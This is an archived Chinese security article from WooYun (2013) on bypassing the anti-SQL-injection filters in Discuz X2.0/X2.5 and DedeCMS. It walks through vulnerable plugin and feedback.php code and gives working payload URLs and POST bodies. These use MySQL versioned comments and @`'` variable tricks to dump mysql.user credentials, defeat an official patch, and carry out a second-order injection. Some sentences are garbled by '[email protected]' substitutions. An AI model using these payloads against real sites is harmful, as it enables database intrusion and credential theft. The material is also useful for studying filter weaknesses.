# 几种通用防注入程序绕过方法

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2013-07-29T09:16:00Z
Canonical: https://wepostx.com/topics/800

> 乌云历史资料归档
>
> **原始作者：** genxor
> **原始编号：** superkieran-wooyundrops:55
> **原始发布时间：** 2013-07-29 17:16
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

### 0x00 前言

目前主流的CMS系统当中都会内置一些防注入的程序，例如Discuz、dedeCMS等，本篇主要介绍绕过方法。

### 0x01 Discuz x2.0防注入

#### 防注入原理
这里以Discuz最近爆出的一个插件的注入漏洞为例，来详细说明绕过方法。
漏洞本身很简单，存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中，代码如下所示

```text
#!php function getGoods($id){ $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id); $goods = DB::fetch($query); $goods['endtime2'] = date('Y-m-d',$goods['endtime']); $goods['price2'] = $goods['price']; if($goods['sort'] ==2){ $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']); $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc "); $last = DB::fetch($query); if(is_array($last)){ $goods['price'] = $last['chujia']; $goods['uid'] = $last['uid']; $goods['username'] = $last['username']; $goods['pm'] = $last; if(time()+600> $goods['endtime']){ $goods['endtime'] = $last[time]+600; $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600); } } } return $goods; }
```
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行，如图所示： ￼
![原文图片](/media/2016/06/37eaa45dba3e55e8b4cc05f7ec4a5c28)

下面可以构造如下请求触发漏洞了，如图所示： ￼
![原文图片](/media/2016/06/f33a2eb2431a706b1ad62b6c8cb818cb)

不过程序内置了一个_do_query_safe函数用来防注入，如图所示 ￼
![原文图片](/media/2016/06/5059a7a100eb7c2eb3c1f8687c5d6c03)

这里跟踪一下_do_query_safe()函数的执行，它会对以下关键字做过滤，如图所示：
￼
![原文图片](/media/2016/06/ea226145507628f9986bf9161f3513b1)

因为我们的url中出现了union select，所以会被过滤掉。

#### 绕过方法
这里利用Mysql的一个特性绕过_do_query_safe函数过滤，提交如下url：

```text
http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
```
这里我们跟踪一下，绕过的具体过程。它会将/**/中间的内容去掉，然后保存在$clean变量中，其值为

```text
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
```
再进一步跟踪，它会将/**/也去掉，然对$clean变量做过滤，如图所示

![原文图片](/media/2016/06/54aa19686360af2a0f7d895a21abad3d)
 ￼ 此时$clean值，如图所示 ￼
![原文图片](/media/2016/06/9430f77c8143032b5431124bae7cc8a0)

此时$clean变量中不在含有危险字符串，绕过_do_query_safe函数过滤，成功注入，截图如下： ￼
![原文图片](/media/2016/06/5a82e7b9539f113667b62ac63de11a35)

### 0x02 Discuz X2.5防注入

#### 防注入原理
Discuz X2.5版修改了防注入函数的代码，在/config/config_global.php中有如下代码，如图所示 ￼
![原文图片](/media/2016/06/2ec7a30ab89f200ba70a55d06c7b794b)

这里$_config['security']['querysafe']['afullnote'] 默认被设置为0，重点关注这一点。
这里跟踪一下失败的原因，如图所示： ￼
![原文图片](/media/2016/06/44ea9e9a79f9f677274102491abc6172)

此时观察一下变量，_do_query_safe($sql)函数会将/**/中的内容去掉，然后存到$clean中，如图所示： ￼
![原文图片](/media/2016/06/f6e774a47aa83c92d32012b58e1a2c2a)

其实，程序执行到这里跟Discuz X2.0没有区别，$clean的值都一样。但是关键在下面，如图所示：

![原文图片](/media/2016/06/49c1ff2e9e0c120e5e7a63c4206535fd)
 ￼ 因为前面提到$_config['security']['querysafe']['afullnote']=’0’，所以这里不会替换/**/为空，并且它在后面会判断$clean中是否会出现“/*”，如图所示： ￼ ￼
![原文图片](/media/2016/06/487a1a67d4939593070565ec330b141b)

所以注入失败。

#### 绕过方法
在Mysql当中，[email protected]，可以用set @a=’abc’，来为变量赋值。这里为了合法的构造出一个单引号，目的是为了让sql正确，我们可以用@'放入sql语句当中，帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤，如下所示：

```text
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
```
这里跟踪一下执行的过程，如图所示：

![原文图片](/media/2016/06/3ca9fd62968522716ae491b9a00c0fd2)
 ￼ 这里有一个if判断，重点看这句

```text
#!php $clean = preg_replace("/'(.+?)'/s", '', $sql);
```
它会将$sql中单引号引起来的字符串省略掉，所以我们可以用绕过dede防住ids的思路，利用

```text
@`'` union select @`'`
```
这样的方法，在下面的过滤中省掉union select，这里跟踪一下，如图所示： ￼
![原文图片](/media/2016/06/2fab7a60ff98debd0f290b63101618d1)

这样便绕过了_do_query_safe函数检测，成功绕过防注入，如图所示： ￼
![原文图片](/media/2016/06/9843e79315988a61e1ce8193eb5106ed)

不过后来Discuz官方发布了一个修复补丁，但并没用从根本上解决问题。官方的修复代码如下： ￼
![原文图片](/media/2016/06/d50e3a102a078509e0a5be9f39da5e4f)

加了一个判断，过滤字符串中的@，但是始终没有修复根本问题，关键是上边的那个if判断会将单引号之间的内容（包括单引号）替换为空，代码如下：

```text
#!php if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); }
```
[email protected]，从而绕过它的过滤，利用如下所示：

```text
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
```
这里我引入了`'`[email protected]，并将第一个@`'`替换为@`''`，这样便可以替换掉第二个@，这里我们跟踪一下代码，如图所示： ￼
![原文图片](/media/2016/06/86f30a2e8ddeb2465404c1e8a155ab9c)

可以看到$clean变为

```text
select * from pre_v63_goods where `id` =``
```
成功绕过补丁，如图所示：

![原文图片](/media/2016/06/d50d339953c866e9c727aa516fe16257)
 ￼ 不过这样做的代价是不能再使用union select了，只能通过报错获取数据。

### 0x03 DedeCMS防注入

#### 防注入原理
这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例，分析如何绕过其防注入系统。不过在这之前，还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行，代码如下所示

```text
if($comtype == 'comments') { $arctitle = addslashes($title); $typeid = intval($typeid); $ischeck = intval($ischeck); $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype); if($msg!='') { $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; $rs = $dsql->ExecuteNoneQuery($inquery); if(!$rs) { ShowMsg(' 发表评论错误! ', '-1'); //echo $dsql->GetError(); exit(); } } } //引用回复 elseif ($comtype == 'reply') { $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'"); $arctitle = $row['arctitle']; $aid =$row['aid']; $msg = $quotemsg.$msg; $msg = HtmlReplace($msg, 2); $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')"; $dsql->ExecuteNoneQuery($inquery); }
```
这里$title变量未初始化，所以$title可以作为可控变量，所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中，但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码，在第268行，如下所示

```text
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'"); $arctitle = $row['arctitle'];
```
这里的查询#@__feedback表正式上面INSERT的那个表，arctitle字段取出来放到$arctitle变量当中，继续跟踪到第273行，这下豁然开朗了，

```text
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
```
这里$arctitle变量未作任何处理，就丢进了SQL语句当中，由于我们可以控制$title，虽然$arctitle是被addslashes函数处理过的数据，但是被INSERT到数据库中又被还原了，所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢，通过跟踪代码发现，整个dede在整个过程中始终没有输出信息，所以我们无法通过构造公式报错来获取数据，但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的，所以我们可以通过构造SQL语句，将我们要执行的代码插入到msg字段当中，这样便可以输出执行的内容了。

#### 绕过方法
众所周知，dedeCMS内置了一个CheckSql()函数用来防注入，它是80sec开发的通用防注入ids程序，每当执行sql之前都要用它来检查一遍。其代码如下所示：

```text
#!php function CheckSql($db_string,$querytype='select') { global $cfg_cookie_encode; $clean = ''; $error=''; $old_pos = 0; $pos = -1; $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt'; $userIP = GetIP(); $getUrl = GetCurUrl(); //如果是普通查询语句，直接过滤一些特殊语法 if($querytype=='select') { $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}"; //$notallow2 = "--|/\*"; if(preg_match("/".$notallow1."/i", $db_string)) { fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>"); } } //完整的SQL检查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些黑客使用它，所以检查它 if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="union detect"; } //发布版本的程序可能比较少包括--,#这样的注释，但是黑客经常使用它们 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error="comment detect"; } //这些函数不会被使用，但是黑客会用它来操作文件，down掉数据库 elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } //老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) { $fail = TRUE; $error="sub select detect"; } if (!empty($fail)) { fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); } else { return $db_string; } }
```
但通过跟踪这段代码发现，它有个特征就是会将两个单引号之间的内容用$s$替换，例如’select’会被替换为$s$，这里用两个@`'`包含敏感字，这样$clean变量中就不会出现敏感字，从而绕过CheckSql()函数检测。
这里可以设置title为如下代码，一方面绕过ids防注入代码检测，另一方面加一个#注释掉后面的代码，但是还要做一下变形，就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL，而@`'`是一个变量，默认为NULL，直接插入@`'`的话会报错，所以需要以char(@`'`)的方法转换一下。

```text
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
```
跟踪代码，如图所示 ￼
![原文图片](/media/2016/06/8a8970b0f81067f2cc568abd51fd789d)

如下SQL语句

```text
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
```
被替换为了

```text
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
```
字符串中没有任何敏感字，成功绕过CheckSql()函数检测。
POST如下请求给feedback.php，如下所示：

```text
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
```
跟踪代码，实际执行的SQL语句跟踪变量如下所示： ￼
![原文图片](/media/2016/06/60f64c0fe6f56722ad04d3b79e416089)

被插入数据库中的内容，如图所示： ￼
![原文图片](/media/2016/06/e2196738fa841d6d4b336d974a85498c)

下面再POST如下内容给feedback.php，

```text
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
```
跟踪一下这里执行的SQL语句，如图所示 ￼
![原文图片](/media/2016/06/880cef1007924c96b724d2472ce182b6)

所以select user()执行了，并且可以作为msg字段输出。

### 0x04 总结

在写这篇文章之前，我分析了很多常用的cms系统的源码，包括discuz、dedecms、phpwind、phpcms等，只有在discuz、dedecms这两个系统中用到通用防注入，但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下，这些绕过方法还是很有价值的。

## Replies
